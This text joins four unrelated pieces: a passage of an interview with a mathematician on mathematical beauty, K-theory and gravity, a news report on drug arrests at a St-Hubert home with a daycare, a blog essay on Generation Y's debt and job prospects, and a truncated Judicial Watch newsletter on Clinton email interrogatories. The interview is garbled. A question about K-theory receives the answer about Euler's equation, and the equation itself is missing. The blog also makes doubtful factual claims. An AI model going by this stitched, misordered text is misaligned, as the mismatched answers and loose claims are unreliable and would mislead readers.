aspects, but it’s a clumsy interpretation.  Have you always had mathematical dreams?  I think so. Dreams happen during the daytime, they happen at night. You can call them a vision or intuition. But basically they’re a state of mind — without words, pictures, formulas or statements. It’s “pre” all that. It’s pre-Plato. It’s a very primordial feeling. And again, if you try to grasp it, it always dies. So when you wake up in the morning, some vague residue lingers, the ghost of an idea. You try to remember what it was and you only get half of it right, and maybe that’s the best you can do.  Is imagination part of it?  Absolutely. Time travel in the imagination is cheap and easy — you don’t even need to buy a ticket. People go back and imagine they are part of the Big Bang, and then they ask the question of what came before.  What guides the imagination — beauty?  It’s not the kind of beauty that you can point to — it’s beauty in a much more abstract sense.  Not too long ago you published a study, with Semir Zeki, a neurobiologist at University College London, and other collaborators, on The Experience of Mathematical Beauty and Its Neural Correlates.  That’s the most-read article I’ve ever written! It’s been known for a long time that some part of the brain lights up when you listen to nice music, or read nice poetry, or look at nice pictures — and all of those reactions happen in the same place [the “emotional brain,” specifically the medial orbitofrontal cortex]. And the question was: Is the appreciation of mathematical beauty the same, or is it different? And the conclusion was, it is the same. The same bit of the brain that appreciates beauty in music, art and poetry is also involved in the appreciation of mathematical beauty. And that was a big discovery.  You reached this conclusion by showing mathematicians various equations while a functional MRI recorded their response. Which equation won out as most beautiful?  Ah, the most famous of all, Euler’s equation:  You are especially well-known for two supremely beautiful works, not only the index theorem but also K-theory, developed with the German topologist Friedrich Hirzebruch. Tell me about K-theory.  It involves π; the mathematical constant e [Euler’s number, 2.71828 …]; i, the imaginary unit; 1; and 0 — it combines all the most important things in mathematics in one formula, and that formula is really quite deep. So everybody agreed that that was the most beautiful equation. I used to say it was the mathematical equivalent of Hamlet’s phrase “To be, or not to be” — very short, very succinct, but at the same time very deep. Euler’s equation uses only five symbols, but it also encapsulates beautifully deep ideas, and brevity is an important part of beauty.  The index theorem and K-theory are actually two sides of the same coin. They started out different, but after a while they became so fused together that you can’t disentangle them. They are both related to physics, but in different ways.  K-theory is the study of flat space, and of flat space moving around. For example, let’s take a sphere, the Earth, and let’s take a big book and put it on the Earth and move it around. That’s a flat piece of geometry moving around on a curved piece of geometry. K-theory studies all aspects of that situation — the topology and the geometry. It has its roots in our navigation of the Earth.  The maps we used to explore the Earth can also be used to explore both the large-scale universe, going out into space with rockets, and the small-scale universe, studying atoms and molecules. What I’m doing now is trying to unify all that, and K-theory is the natural way to do it. We’ve been doing this kind of mapping for hundreds of years, and we’ll probably be doing it for thousands more.  Did it surprise you that K-theory and the index theorem turned out to be important in physics?  Oh, yes. I did all this geometry not having any notion that it would be linked to physics. It was a big surprise when people said, “Well, what you’re doing is linked to physics.” And so I learned physics quickly, talking to good physicists to find out what was happening.  How did your collaboration with Witten come about?  I met him in Boston in 1977, when I was getting interested in the connection between physics and mathematics. I attended a meeting, and there was this young chap with the older guys. We started talking, and after a few minutes I realized that the younger guy was much smarter than the old guys. He understood all the mathematics I was talking about, so I started paying attention to him. That was Witten. And I’ve kept in touch with him ever since.  What was he like to work with?  In 2001, he invited me to Caltech, where he was a visiting professor. I felt like a graduate student again. Every morning I would walk into the department, I’d go to see Witten, and we’d talk for an hour or so. He’d give me my homework. I’d go away and spend the next 23 hours trying to catch up. Meanwhile, he’d go off and do half a dozen other things. We had a very intense collaboration. It was an incredible experience because it was like working with a brilliant supervisor. I mean, he knew all the answers before I got them. If we ever argued, he was right and I was wrong. It was embarrassing!  You’ve said before that the unexpected interconnections that pop up occasionally between math and physics are what appeal to you most — you like finding yourself wading into unfamiliar territory.  Right; well, you see, a lot of mathematics is predictable. Somebody shows you how to solve one problem, and you do the same thing again. Every time you take a step forward you’re following in the steps of the person who came before. Every now and again, somebody comes along with a totally new idea and shakes everybody up. To start with, people don’t believe it, and then when they do believe it, it leads in a totally new direction. Mathematics comes in fits and starts. It has continuous development, and then it has discontinuous jumps, when suddenly somebody has a new idea. Those are the ideas that really matter. When you get them, they have major consequences. We’re about due another one. Einstein had a good idea 100 years ago, and we need another one to take us forward.  But the approach has to be more investigative than directive. If you try to direct science, you only get people going in the direction you told them to go. All of science comes from people noticing interesting side paths. You’ve got to have a very flexible approach to exploration and allow different people to try different things. Which is difficult, because unless you jump on the bandwagon, you don’t get a job.  Worrying about your future, you have to stay in line. That’s the worst thing about modern science. Fortunately, when you get to my age, you don’t need to bother about that. I can say what I like.  These days, you’re trying out some new ideas in hopes of breaking the stalemate in physics?  Well, you see, there’s atomic physics — electrons and protons and neutrons, all the stuff of which atoms are made. At these very, very, very small scales, the laws of physics are much the same, but there is also a force you ignore, which is the gravitational force. Gravity is present everywhere because it comes from the entire mass of the universe. It doesn’t cancel itself out, it doesn’t have positive or negative value, it all adds up. So however far away the black holes and galaxies are, they all exert a very small force everywhere in the universe, even in an electron or proton. But physicists say, “Ah, yes, but it’s so small you can ignore it; we don’t measure things that small, we do perfectly well without it.” My starting point is that that is a mistake. If you correct that mistake, you get a theory that is much better.  I’m now looking again at some of the ideas that were around 100 years ago and that were discarded at the time because people couldn’t understand what the ideas were trying to get at. How does matter interact with gravity? Einstein’s theory was that if you put a bit of matter in, it changes the curvature of space. And when the curvature of space changes, it acts on the matter. It’s a very complicated feedback mechanism.  I’m going back to Einstein and [Paul] Dirac and looking at them again with new eyes, and I think I’m seeing things that people missed. I’m filling in the holes of history, taking account of new discoveries. Archaeologists dig things up, or historians find a new manuscript, and that sheds an entirely new light. So that’s what I’ve been doing. Not by going into libraries, but by sitting in my room at home, thinking. If you think long enough, you get a good idea.  So you’re saying that the gravitational force can’t be ignored?  I think all the difficulty physicists have had comes from ignoring that. You shouldn’t ignore it. And the point is, I believe the mathematics gets simplified if you feed it in. If you leave it out, you make things more difficult for yourself.  Most people would say you don’t need to worry about gravitation when you look at atomic physics. The scale is so small that, for the kind of calculations we do, it can be ignored. In some sense, if you just want answers, that’s correct. But if you want understanding, then you’ve made a mistake in that choice.  If I’m wrong, well, I made a mistake. But I don’t think so. Because once you pick this idea up, there are all sorts of nice consequences. The mathematics fits together. The physics fits together. The philosophy fits together.  What does Witten think of your new ideas?  Well, it’s a challenge. Because when I talked to him in the past about some of my ideas, he dismissed them as hopeless, and he gave me 10 different reasons why they’re hopeless. Now I think I can defend my ground. I’ve spent a lot of time thinking, coming at it from different angles, and coming back to it. And I’m hoping I can persuade him that there is merit to my new approach.  You’re risking your reputation, but you think it’s worth it.  My reputation is established as a mathematician. If I make a mess of it now, people will say, “All right, he was a good mathematician, but at the end of his life he lost his marbles.”  A friend of mine, John Polkinghorne, left physics just as I was going in; he went into the church and became a theologian. We had a discussion on my 80th birthday and he said to me, “You’ve got nothing to lose; you just go ahead and think what you think.” And that’s what I’ve been doing. I’ve got all the medals I need. What could I lose? So that’s why I’m prepared to take a gamble that a young researcher wouldn’t be prepared to take.  Are you surprised to be so charged up about new ideas at this stage of your career?  One of my sons said to me, “Impossible, Dad. Mathematicians do all their best work by the time they’re 40. And you’re over 80. It’s impossible for you to have a good idea now.”  If you’re still awake and alert mentally when you’re over 80, you’ve got the advantage that you’ve lived a long time and you’ve seen many things, and you get perspective. I’m 86 now, and it’s in the last few years that I’ve had these ideas. New ideas come along and you pick up bits here and there, and the time is ripe now, whereas it might not have been ripe five or 10 years ago.  Is there one big question that has always guided you?  I always want to try to understand why things work. I’m not interested in getting a formula without knowing what it means. I always try to dig behind the scenes, so if I have a formula, I understand why it’s there. And understanding is a very difficult notion.  People think mathematics begins when you write down a theorem followed by a proof. That’s not the beginning, that’s the end. For me the creative place in mathematics comes before you start to put things down on paper, before you try to write a formula. You picture various things, you turn them over in your mind. You’re trying to create, just as a musician is trying to create music, or a poet. There are no rules laid down. You have to do it your own way. But at the end, just as a composer has to put it down on paper, you have to write things down. But the most important stage is understanding. A proof by itself doesn’t give you understanding. You can have a long proof and no idea at the end of why it works. But to understand why it works, you have to have a kind of gut reaction to the thing. You’ve got to feel it.  This article was reprinted on ScientificAmerican.com and Wired.com.
-Two men are charged with drug trafficking after searches at two St-Hubert homes - including one housing a daycare - turned up thousands of dollars worth of pills, marijuana and contraband cigarettes.  Longueuil police searched the homes, located on Grand Boulevard and Place Édouard, last Thursday after a months-long investigation by the organized crime unit into illegal tobacco.  They seized around 4,000 pills from the site of the daycare, which was closed at the time of the police raids.  Const. Tommy Lacroix said the majority of the pills were found in a shed on the property, but they did find a small quantity of drugs inside the building where the daycare was operating.  Children not at risk  Lacroix said the children were not at risk.  The daycare is run by the partner of one of the men arrested, he said.  "All of the parents have been advised of what was going on over there for the last couple of days," Lacroix said, adding that police waited to release the information on the operation until all the parents had been notified.  The daycare operator is not facing any charges.  At the other house, police found about 300 grams of marijuana and 2,500 contraband cigarettes.  A stolen motorcycle, cellular phones and cash were also seized during the operation.  A 31-year-old man, who lives in the home with the daycare, was arrested and detained, charged with one count of drug trafficking. He is to appear in the Longueuil courthouse on Friday.  A 63-year-old man was also arrested and charged with trafficking drugs and contraband cigarettes. He was released on a promise to appear in court at a later date.
-I kept debating on if I actually wanted to write this or not, mostly because it’s incredibly depressing when you actually start to put all of the pieces together. I think this may also be my first real attempt at trying to put together a well thought out article for people to read as opposed to my usual stream of conscious thought which serves as the basis for the majority of the articles that I write. The basis of this article will focus on the environment which my generation (Generation Y) has developed in. It will illustrate the side effects that environment has had on the aspects of not only our current living standards, but also any future prospects. The key components of this article rely on a basic understanding of the current economic situation, insight into the way in which modern communication occurs, and the history and culture which compose the American psyche currently.  The inspiration for this post comes from the depths of 4chan’s /new/ board which is responsible [in theory] for the discussion of various topics related to current world events. I had gone there hoping for an update on the situation occurring on the Korean Peninsula this morning, but I managed to stumble into an oddly coherent discussion on the nature of the Baby Boomer Generation. For the sake of clarity, I would like to define the generations discussed as follows:  Baby Boomer – Born Directly after World War 2 until 1957  Generation X – Born between 1957 and 1978  Generation Y – Born Between 1978 and 1993  Generation Z – Born Anytime after 1993  The post was a rudimentary discussion of how generation x is now collapsing in on itself financially in part due to interference and political features put in place by the Baby Boomer Generation. The post further elaborated on the possible effects that could already be seen within the job market for Generation Y. This uniquely coherent diatribe led me to finally consider writing this post. It is something I have wanted to write for a long time, but have lacked the proper wording to describe exactly what I was thinking.  The History of the Situation  There are key points that must be understood in order for the division of the generations to exist which lie within the historical events that divide those generations. As most people are well aware, the baby boom was a direct result of the US victory in the Second World War. The result of that victory allowed many soldiers to return home full of vigor and with a military pension. These soldiers went on to use that GI bill to claim a basic education as well as settle down in mass and breed like rabbits. This breeding phase would last until the approximate end of the Korean War and the final phases of the McCarthy era, solidifying a point in time which would separate the McCarthy era driven baby boomers from their Vietnam era compatriots.  Generation X would live through the heart of the so called hippy movement as well as some of the greatest scientific breakthroughs of modern history. I can still hear my parents speaking about how they remembered how important the death of John F. Kennedy and the Moon Landing were (Though both are members of Generation Jones). These events would shape that generation and allow them to move on to their own sort of breeding phase with the up and coming Generation Z. But it is my generation, the generation born out of a combination of Generation Jones and the Baby Boomers which we are here to discuss.  Once the Baby Boomers had established themselves in the late 70’s putting most of them in their mid 20’s to their early 30’s, they began to breed in a manner similar to their rabbit like parents. The result of this breeding would be what has become colloquially referred to as the Millennial Generation or Generation Y. We are the children who would grow up with the technology developed by projects like ARPANET and advancements in basic silicon based transistor technology. We are for the most part, defined by this technology. It was our generation that would grow up at the same time as personal computing and the World Wide Web.  We will be followed by Generation Z, the generation that my sister belongs to as well as the generation that hopefully my generation can save before they fall into the same trap that we did.  What we did wrong…  We listened.  Despite a popular misconception regarding the lack of authoritative respect our generation has, the truth is perhaps far more telling. According to a study conducted by the Australian Bureau of Crime Statistics and Research, by the age of 21 nearly ten percent of my generation had already been in a court for one reason or another. This statistic is a bit more interesting than that though. You see, what the statistic fails to display is the fact that only .5% of my generation has actually been placed in jail for any of our criminal offenses. In fact, most of what we have been accused of is related to minor traffic incidents or alcohol and drug related offenses. This statistic is made even more interesting by the fact that my generation was the first full generation to be penalized for drinking under the age of 21 due to the introduction of legislation passed pushed by a form of MADD [Mothers Against Drunk Driving] in the mid 80’s.  We were the generation that decided to behave and obey most of the laws set before us. It was my generation that overwhelmingly decided that we must go through High School and move on to college in order to get a degree regardless of the cost to ourselves. It was established as the pinnacle of our educational standpoint, that for any person to be valuable in the work force they must have a bachelors degree or higher. Now that we are in college with anywhere between 30,000 and 120,000 dollars in educational loans we are being told once again that the skills which we acquired would simply not be enough.  I had the luck of having a discussion with Dr. Zara Larsen of the Larsen Group, a group dedicated to giving advice to others on how to change themselves in order to better establish themselves in the workforce. In the conversation about a graduating mechanical engineer we were told that even with a Bachelors in mechanical engineering from the world’s top 8 engineering institution, one would still need to go on to pick up a Master’s degree in the field to even consider a position in the 6 figure range. Now while I do not proclaim that the Larsen Group has any more authoritative a position in that field than any other group, the point still remains that we are constantly being told that the 4 years of education and debt may simply not be enough to secure a job in the work force.  College education was the driving force for everything that my Generation has done, as we are told over and over again that the single judgmental factor which we would be held to is whether or not we were able to attend and graduate from some form of higher education. All throughout High School we are told again and again that our most important goal is to maintain sufficient grades to allow us to attend the college of our choice. We have sacrificed any and all trade skill positions in favor of some form of higher education.  Mike Rowe, who is perhaps most well known for his position as the host of the Discovery Channel’s “Dirty Jobs”, recently gave a speech at the TED talks on how we have changed our view points on the nature of manual labor. The talk goes on to discuss how the United States has demonized the working positions that are held by Americans, how it is that we have made the ditch digger, the farm hand, etc. elements of our society that are seen as unwanted and unclean. The position is interesting in that it dips into the mentality that my generation has been fed about how our ultimate goal should be to attain a position in some office working as what quintessentially amounts to a cubicle slave.  The side effect of this mentality is clear and even has some pretty damning physical evidence. In 2007, an eight lane bridge along the I-35W route in Minnesota collapsed killing 13 and injuring 145. August 2003, the entire North East coast of the United States suffers from a massive power outage, leaving 45 million without power. These events are incredibly clear signs that the US infrastructure, which was for the most part established in the mid 50’s as part of the military and social initiative to better prepare ourselves for possible Soviet invasions, is finally starting to show its age. We have continued to ignore some of the most critical elements of the nations infrastructure in part due to a complete lack of work force capable of performing the needed duties.  The mounting concern is now that the generation which will need to deal with these issues simply is not trained to deal with them. Our High Schools were stripped of shop class in favor classical more renaissance style pursuits. The problem with this of course is that the shop classes served a critical feature within the educational mindset. In a video created by RSA Animate, Sir Ken Robinson discusses how it is that the education system, which was created in the late 19th century as a method for keeping school age children from competing with their parents for jobs, is now starting to falter in terms of proving of value to the modern age child. The core of the system is based around the concept of classical education, with a focus on literature and the fine arts as opposed to labor, has further served to divide and demonize the idea of the working class.  So, here we have a group generation of individuals who have tried to do well in school, get good grades, stay out of trouble, and most important of all make their way to the college system after being processed by public education. They have been stripped of most of their critical and analytical thinking abilities in favor of rote memorization and skills which will allow them to pass the required test in order to reach their goal of college. This is further reinforced at the college level where it has become apparent to the educational facilities that more and more the people attending, short of a state mandate, are required to be there.  In recent years, post secondary educational facilities have begun to realize that they can make use of this requirement and use it for their own financial gain. Using a combination of data from the National Center for Education Statistics and compiled data from the Cost of Living Index one can create a semi basic graph on the matter [credit to a Wikipedia user for compiling the data].  A recent PBS documentary even went into the nature of for profit colleges which have begun to take advantage of not only members of my generation, but those of generation X which are now desperate to attempt to compete with the flow of my generation into the workforce. These Universities are without a doubt making use of not only the ease of access that the internet provides, but also the unrelenting need for a degree in the modern business world.  Perhaps what makes this worse is how easy it is to put yourself in debt in order to attend these colleges. For attending Purdue University for 3 Years for a Bachelors Degree in Computer and Information Technology [projected entry salary 40k+], as an out of state student with no grants or scholarships I will owe the University approximately $120,000.00. For my part in signing and agreeing to that debt I was required to take a 10 minute 5 question quiz [which I could repeat], asking me if I understood how much the loan was for and that 3 to 6 months after my graduation I would be expected to begin payment on those loans.  We were never taught personal finance as a class at any level of my education. Everything I understand about the banking industry or the mechanics involved with loans and money lending is based on information I have gathered on my own time or learned because my mother is an employee for a local credit union. As a result, in full honesty, I am terribly unaware of exactly the consequences or the nature of the loan I have agreed to pay. If I do not secure a paying job within 3 to 6 months of my Graduation, that student loan debt will quickly be turned into a bill that I will not be capable of paying. The implications that this reality holds are staggering and upsetting, magnified more so when one realizes that a Federal student loan is one of the only loans which can not be cleared by chapter 11 bankruptcy.  America as a society has become a creature which spends money it does not have. It was this exact behavior which created the last global great depression which scars history books to this day. For proof of this, one need not look any further than the housing bubble crash which started in 2007 and has dominated mainstream media for the last 3 years. The linchpin to that entire fiasco relied on people buying houses which they simply could not afford. The resulting inability to pay for those houses caused the banks which provided those loans to suffer massive monetary losses. As most are well aware, this sparked a multitrillion bailout in order to ensure that those banking institutions would not collapse.  So while the monster is not the same as the last great depression with small things lent out on credit eventually resulting in an inability to pay, it has much more dramatic consequences when it strikes. Modern national media (CNN, Fox, MSNBC, etc) have done a reasonably good job of perpetuating the idea that economy is somehow in a state of recovery, that unemployment is down and things are back on the road some form of nostalgic glory days. If one assumes the standpoint that money is debt and that our currency is only worth the amount that we think it is, then this form of propaganda is likely going to help to strengthen the economy, inspiring buying and circulating more funds [thus increasing the amount of debt]. This causes some issues; however, as it becomes apparent that the full scale damage is not conveyed simply with employment statistics.  Recent studies have revealed 2 things which might go about explaining why it is that the unemployment numbers seem to have dropped, the first of which is now a standard operation for members of my generation. This tactic is to simply “hide” in graduate school until a point where the economy will start to recover of its own accord. Multiple colleges have reported that their graduate admissions are on the rise within the last 2 years. There is also an issue of people who have managed to obtain their degree are now facing other issues.  The simple issue here is that those positions simply do not provide adequate funds to maintain a standard of living with the pressing issue of student debt. Now ultimately, this becomes a diatribe about the status of post secondary education, but I felt it was key to helping to explain the situation facing myself and others in my age range.  Past the issues of the placement of college within our makeup as a group, there are even more concerns that seem to dot the horizon.  Other Issues  Inheriting a Dying System  Social security, trillions of dollars in debt, a collapsing infrastructure, mediocre education standards, and the list goes on. Generation Y is told again and again that it will be our responsibility to fix these problems. We are burdened with knowledge that it is up to us to draft solutions to problems that are now so rampantly out of control, it is unlikely that conventional methods will be capable of solving them.  There is the theory in most accepted academic rings that history is bound to repeat itself regardless of whether or not people bother to read up on it. Ultimately I could sit here all day attempting to justify how my generation will somehow change the way things are, but the likelihood of such an occurrence is dismally low. In Japan, their equivalent of Generation Y happens to be approximately 10 years ahead of our own. There are growing signs that there are serious cultural changes already occurring. The ideology that the company comes first is starting to fail and a growing sign of what could easily amount to depression is beginning to show it’s head. The article covers how the males of the population have become more apathetic and less aggressive. While one could make a reasonable argument that the United States and Europe [which compose the western cultural “Generation Y”] have enough cultural differences separating them from Japan that such a thing could not possibly occur.  I think though, that we need to accept that my generation my actually be starting to feel the burden of this collapsing system. The constant calls for us to maintain the system have made it apparent that we may simply not be able to do so. We lack the tools, resources, and time that would be required for such a massive undertaking to occur. As such, we are often called cynical, lazy, apathetic… terms which mirror in a way the growing Japanese population. With life expectancy now stabilized thanks to the fact that the statistic is no longer offset by a massive number of deaths at birth, each generation is competing with the successive generations before it for job placement and goods.  The Baby Boomers and Generation X failed to save up for retirement and are now being forced to not only try and stay in the job market [even inspiring such programs as Florida’s “Experience Works“] but to actively keep others out of it. The result of this is an entire generation being forced to try and combat 40+ years of work experience with a mere degree and perhaps a certification or two. When faced with a choice between the two, you are often told that the only way you even have a chance of getting a job would be to spend time working for an internship and praying that they will hire you after the internship expires.  This disheartening experience even has some statistics associated with it. As I discussed in a previous post there is a study which shows that for the entire existence of my generation, and essentially since the time the Baby Boomers started having children, that suicide rates among young adults and teens has skyrocketed while the rates among Adults and the Elderly has declined to compensate.  I remember thinking, when asked why I thought it was that someone as young as 14 would be willing to kill themselves, what could possibly drive or motivate a person to conjure such thoughts. Admittedly, even today, the thought of someone who is barely into adolescence being capable of ending their life is a troubling thought. I am reminded; however, that we also have access to information and an incredibly impressive rate. We are virtually surrounded from birth with multiple forms of mass media and information gathering technologies. This allows us to learn facts about the global perspective and the shift that is occurring with growing globalization which could easily be described as terrifying.  As such, it should come as no surprise to anyone that the Y Generation has begun to show growing signs of distrust of some of the methods employed by the old guard. The resulting complications that arise from this distrust have often shown in the way that we vote.  Political Scorn  A Republic, if you can keep it – Benjamin Franklin  To pretend that politics were not corrupt before my Generation came on the scene is borderline retardation. As long as there have been people in power, there have been those that have been willing to abuse it. The difference of course, is that those in power are now being exposed for the scandals and atrocities that they commit. We can now look and realize that perhaps Al Qaeda would not have been so prepared to attack us, had we not trained them ourselves.  It has become easier for the common man to access things that were previously only discussed by a limited number of sources. With the number of ways media has started to integrate itself with our lives, it becomes almost impossible to ignore the constant bombardment of information regarding which political leader has done something which could easily lose public trust.  In that time, my Generation has grown up knowing that Nixon used his power during the Watergate scandal, Regan was losing his memory, Clinton getting a blow job, and so many for President Bush that there is an entire Wikipedia page dedicated to the various incidents of abuse. With wave after wave of nothing but negative information about every single political leader “we elect” it should come as a surprise to no one that we might be a bit disillusioned about the entire situation. The only thing we know of politics is that it is corrupt, and any attempts to solve that corruption only end up generating more of it.  So when people ask me if I voted or not, I have no shame in saying that I took no part in the political process. I have voted a single time during the democratic primary for current President Barak Obama. I did so because I had the faintest belief that perhaps the man would be a change, god knows that’s what he preached about all the time. But once again we will see with swift indignation, that regardless of your opinion of the man he was no different than any president before him. For every promise he has kept, he has compromised with opponents that those who voted for him see only as fools and bigots.  I doubt very much if you will see my Generation provide as big of the voting bloc as occurred during the 2008 election. We will be quick to learn from our mistakes and realize that the core of the system is inherently broken, and that any illusion of the system working for the people is quite incorrect. Even the greatest heroes of “fighting the man” like Senator Al Franken from Minnesota have proven with the approval of bills like the COICA that even the greatest heralds of this Generation’s general viewpoint can’t be trusted to be perfectly in line with those they represent.  The two party system is an outdated mechanic perpetuated by the use of the electoral college. As such, it like other elements core to the government has become one of resentment even among Baby Boomers, with the conservative leaning Tea Party managing to gain a couple of seats in the previous election. It is because of this system, that many feel that they can never truly be represented on an ideological basis as both parties are grounded in centrist thoughts. While they both have their extreme elements, for the most part the core of both parties sits at the center of the US political system. Our brothers and sisters in Europe seem to be doing better in that regard at the very least, with a system in government which seems to allow for some more points of view to enter the playing field.  Ideological Wars  We grew up on the fall of the Soviet Union, watching as our once great rival collapsed under the economic strain it had been put under. It was the once great enemy that our predecessors had fought so long to defeat. But when we started to realize the cost to us as a nation including but not limited to: The various wars in southeast Asia; the intervention with legitimate political systems in the Middle East and Central / Southern America; and the backlash that those events generated, it became apparent that we must analyze why exactly we had chosen to fight.  The Soviet Union had been our Ally during the Second World War, committing more men to end the war than all other allied nations combined. Due to differences in economic models and systems of government, it was decided that after the war they were to become the enemy of the United States. One is forced to ask themselves: what was it about socialism that drove an entire nation to fight against it tooth and nail.  And so we analyzed the concept, we tried to learn why it is that people were so determined to not allow it gain a foothold. And the conclusion we could draw was “Well it doesn’t work in theory, but it’s not inherently evil”. As you look around with 20/20 hindsight on the matter, one begins to wonder what it was that we were fighting for. We were willing to sentence our own people as traitors for having a different idea of how the government should run; going against everything we had been taught about American patriotism. To question the government was at the core curriculum, that our Founding Fathers fought the British because it was the wrong form of Government, and 150 years later we leverage those who speak out against the government as traitors.  We grew up with perspective on the matter. And now, we have to tools to do what those before us did not. We had the opportunity to communicate with the people that composed the nations we call enemy.  Technology  In 2009, Iran, A country listed on the “Axis of Evil”, had within its confines an uprising of a different sort. Unlike uprisings in the past, which were handled quietly as an internal matter, it was public for the whole world to view. As sites like Twitter and other social media outlets provided a live stream to allow the entire rest of the world to view the events as they unfolded, it became clear that the citizens who composed these uprisings held similar beliefs and views to those held by myself. We started to realize that the picture painted of an ultra conservative Islamic nation might not be as true to reality as we had thought.  The Internet and Global Communications have radically changed the dynamic and outlook that this generation holds. For the first time in all of human history, the ability to communicate to almost all of the worlds 6 billion inhabitants exists. The simple magnitude of that capability cannot be expressed in words. This ability has united humanity in a way that was before impossible. We now have the ability to break down and analyze internal cultural values that would otherwise remain isolated and have been unchallenged.  In addition to that ability to communicate comes the ability to learn. Unlike all of the previous generations, we have the entire compendium of human knowledge at our fingertips. We have used this to break down the barriers typically associated with a lack of critical thought and analytical skills at the secondary education level. It is now possible for anyone to tap into a vast source knowledge that was previously only available to the educational elite.  And now, beyond that, the global masses also have access to all of the political system’s dirty little secrets. With sites like Wikileaks, it becomes incredibly easy to access information that would otherwise have been kept from the citizens who pay for its acquisition. We operate in a realm that has never previously been explored with a flood of information, so much so that it can keep us distracted.  Over time, we have learned to start being more selective with which information we choose to accept. My generation has been forced to start accepting some groups as trustworthy, and others as false sources. We are taught as the generations before begin to grasp what we have created, that the things we have created should not be trusted. We are told to trust a book over a site online, thinking that simply because a publisher or an editor is involved with the creation of the material, that it is bound to the truth. We have overcome that need to rely on the publisher or the editor by being more selective about the information that we choose to accept as correct. Our ability to double check statistics and facts has been made all the easier and as such our tendency towards doubt all the more apparent.  The downside of this technological surge has come in the form of the inherent human reward system. One could argue that as long as a man remains happy and does not cause harm to others, than the source of that happiness should not be questioned. The flaw in this of course is questioning the price we pay for an ever increasing digital footprint.  We are perhaps the only generation that could define our ages by the technology which was released during those ages. It is interesting to think that I could define the ages 5-9 as the Super Nintendo, ages 10-14 as the Playstation, 14-18 as the Playstation 2, 18-22 as the 360, Wii, and PS3. We have entered new factors into the equation of what it is that brings us happiness. As to the possible implications of such a thing, I really cannot say; only that in doing so we have become impossibly intertwined with technology.  Herzberg  As we being to learn more and more about how the human mind works, it is becoming increasingly apparent that those elements can be used in the same fashion any scientific discovery would be used: To generate a profit. In 1959 Fredrick Herzberg discovered that workers did not actually do their jobs for cash, but rather for recognition. He classified the motivational factors into two separate categories: Motivation and Hygiene. The theory was slowly refined and crafted with each progressive iteration revealing more and more about the what drives us. RSA Animate recently published a talk by Dan Pink on the matter of what it is that motivates us to do things.  Now what you can be sure of is that the business world is well aware of these motivational schemes. With increasing frequency, jobs tend to no longer or barely match the cost of living, in fact they have gone so far as to fight against a raise in the minimum wage saying that by doing so they would simply not hire any new employees. By knowing what motivates people, business can learn to increase profits at the cost of using other incentives to motivate employees.  Science is being used against us, in marketing, in video game design, in everything we do. It is not to say that the science is evil, or that somehow knowing how to make you buy something that you do not need is forbidden knowledge. But we have to be willing to cope with the fact that we are starting to understand how to manipulate people on a level that they can’t control. I leave it to others to decide the ethical implications that come with that.  What to do?  So, you have all of these factors that are weighing in and crushing an entire Generation. The question of course becomes “What are you going to do about it”. Now, we are a generation that has been accused of being lazy and cynical [and perhaps with good reason on our parts for being so]. What you have to ask yourself is how do we change this? How can we escape this “collapse”?  In truth, I doubt very much if we actually can, it’s that whole being cynical thing that comes with the generation. The situation put against us is not one that will be easy to navigate or deal with in a timely manner. I think the answer lies in using what makes our generation unique.  With massive global protest organized against the Church of Scientology by groups like anonymous, the Reddit Secret Santa program, or even the act to save a small kitten from an abusive home. There are instances across the internet on a daily basis of humanity trying its best to be trusting. Now obviously, I would be well within the bounds of ignorance to ignore the overwhelming number of cases which do not end so happily, but I think there is some manner of precedent being set in how my Generation is choosing to interact with the world.  The key to turning back the tide and undoing the damage that has been done is going to come from action. I don’t know how to do so, as at this point it is difficult to truly stir the masses, but if anything is going to be done you can almost hedge your bet that the medium will be the internet.  I thank you all for reading, and I hope you had a happy set of Holiday’s this past Thanksgiving. I think I shall leave you with the inspiration for this little wall of text.  Advertisements
-Judicial Watch Asks Court to Compel Hillary Clinton Email Answers  More Clinton-Abedin Email Exchanges of Classified Information on Unsecure Server  Emails Detail Attempts to Hack Clinton Server; U.S. Secret Service Informed  We Will Be Watching Virginia Polls on Election Day  Judicial Watch Asks Court to Compel Hillary Clinton Email Answers  You have watched along with us as former Secretary of State Hillary Clinton and many of her top aides treated the court process with contempt.  However, we have remedies in the courts for these delaying, obfuscating tactics.  This week, for example, we filed a motion to compel Clinton to answer three interrogatory questions she refused to answer under oath. We submitted the questions to her under a court order issued by U.S. District Court Judge Emmet G. Sullivan on August 19, 2016.  In our brief, we argue that Clinton “failed to provide sufficient reasons for refusing to answer them, and the limited reasons she provides do not warrant sustaining her objections.” Hillary Clinton refused outright to answer questions about the creation of her email system; her decision to use the system despite warning from State Department officials; and the basis for her claim that the State Department had “90-95%” of her emails.  In her responses sent to Judicial Watch and the court on October 13, 2016, Clinton refused to answer these three questions outright and responded that she “does not recall” 20 times concerning her non-government clintonemail.com email system. She preceded her responses by eight “general objections” and two “objections to definitions.” The words “object” or “objection” appear 84 times throughout the 23-page document submitted to the court and Judicial Watch.  In our motion to compel her to answer, we argue:  Pursuant to Rule 33 of the Federal Rules of Civil Procedure, “[t]he grounds for objecting to an interrogatory must be stated with specificity…. In addition, the party objecting to the interrogatory “bears the burden of ‘show[ing] why discovery should not be permitted….’” Although she objected to the three interrogatories, Secretary Clinton failed to provide sufficient reasons for refusing to answer them, and the limited reasons she provides do not warrant sustaining her objections.  Interrogatory 1 asks: “Describe the creation of the clintonemail.com system, including who decided to create the system, the date it was decided to create the system, why it was created, who set it up, and when it became operational.” In our motion to compel, we argue:  Secretary Clinton objects and asserts that the interrogatory is outside the scope of permitted discovery…. However, the creation of the clintonemail.com system is squarely within the scope of permitted discovery. Understanding the basic facts surrounding the creation of the system is an integral part of understanding how and why it came to be used for State Department business. To date, no witness has testified about these facts, and the Court specifically authorized interrogatories to enable Plaintiff to gather this information. Secretary Clinton’s refusal to answer the interrogatory is therefore misplaced.  Interrogatory 14 asks: On March 6, 2009, Assistant Secretary of State for Diplomatic Security Eric J. Boswell wrote in an Information Memo to your Chief of Staff, Cheryl Mills, that he “cannot stress too strongly, however, that any unclassified BlackBerry is highly vulnerable in any setting to remotely and covertly monitoring conversations, retrieving email, and exploiting calendars.” A March 11, 2009 email states that, in a management meeting with the assistant secretaries, you approached Assistant Secretary Boswell and mentioned that you had read the “IM” and that you “get it.” Did you review the March 6, 2009 Information Memo, and, if so, why did you continue using an unclassified BlackBerry to access your clintonemail.com email account to conduct official State Department business?  Secretary Clinton objected to Interrogatory 14, asserting that it concerned “cybersecurity issues outside the scope of permitted discovery.” In our motion to compel, we argue:  Interrogatory 14 does not concern “cybersecurity issues.” It asks whether Secretary Clinton read a memorandum 